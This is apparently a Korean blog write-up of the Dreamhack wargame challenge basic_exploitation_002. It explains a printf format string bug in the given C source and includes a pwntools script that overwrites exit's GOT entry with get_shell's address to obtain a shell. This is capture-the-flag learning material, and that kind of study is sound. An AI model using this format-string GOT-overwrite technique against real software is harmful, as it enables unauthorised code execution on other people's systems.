[드림핵] basic_exploitation_002
A A

문제: https://dreamhack.io/wargame/challenges/4

 

basic_exploitation_002

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_002)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f

dreamhack.io

 

📍 보호기법

checksec

i386 = 32비트 아키텍처이다.

 

📍 소스코드

 

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

 

사용자 입력을 0x80만큼 받아서 버퍼에 저장하고, 버퍼의 내용을 출력한다.

`printf` 함수에서, 포맷스트링을 명시하지 않고 사용자 입력을 그대로 출력하고 있다.

여기서 FSB 취약점이 발생한다.

 

`exit`의 GOT 주소를 `get_shell`의 주소로 덮어서,

`main`이 종료되고 `exit`이 실행될 때 `get_shell`이 실행되도록 할 수 있을 것 같다.

 

$ ./basic_exploitation_002
aaaabbbb%x%x%x%x
aaaabbbb61616161626262627825782578257825

 

스택의 첫 번째 인자부터 참조되는 것을 알 수 있다.

 

형식지정자 `%n`은 해당하는 위치의 인자에 현재까지 사용된 문자열의 길이를 저장하고, 값을 출력하지 않는다.

따라서 `get_shell`의 주소만큼 출력한 다음, `exit`의 GOT 주소에 저장하는 것이 가능하다.

 

📍 익스플로잇

 

get_shell()의 주소

`get_shell()`의 주소는 0x8048609이다.

 

objdump -R

GOT 테이블에서 찾은 `exit` 함수의 주소는 0x804a024이다.

 

🔫 페이로드

지금까지 찾은 정보를 취합해서 페이로드를 구성해 보자.

`%n`은 지금까지 `printf()`가 출력한 총 문자 수를 기록하는 포맷 스트링이다.

처음에 `exit_got`의 주소를 쓰고, `%c` 포맷스트링을 이용해 `get_shell` 함수의 주소만큼 출력한 뒤 `%n` 포맷스트링으로 첫 번째 인자를 지정해 지금까지 출력된 문자의 수만큼 저장한다.

 

from pwn import *

p = remote("host3.dreamhack.games", 10554)

get_shell = 0x8048609
exit_got = 0x804a024

payload = p32(exit_got+2)
payload += p32(exit_got)
payload += b'%2044c%1$hn'
payload += b'%32261c%2$hn'

p.send(payload)
p.interactive()

 

`exit_got+2`부터 쓰는 이유는 리틀엔디안 구조에서 함수 주소의 상위 2바이트가 더 높은 주소에 저장되기 때문이다.
`get_shell` 주소의 첫 2바이트(0x0804)를 10진수로 변환하면 2052인데,

앞에서 이미 `exit_got+2` 주소 4바이트와 `exit_got` 주소 4바이트, 총 8바이트를 출력한 이후이므로, 2052-8=2044만큼 출력해야 첫 번째 인자에 2052만큼 저장되도록 할 수 있다.

나중 2바이트(0x8609) 또한 마찬가지이다.

 

 

🚩

 

'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글

[pwnable.kr] collision  (0) 2025.07.04
[pwnable.kr] fd  (0) 2025.07.04
[드림핵] Format String Bug  (0) 2025.04.11
[드림핵] out_of_bound  (0) 2025.04.10
pwnable 문제풀이  (0) 2025.04.09
Copyright 2024. GRAVITY all rights reserved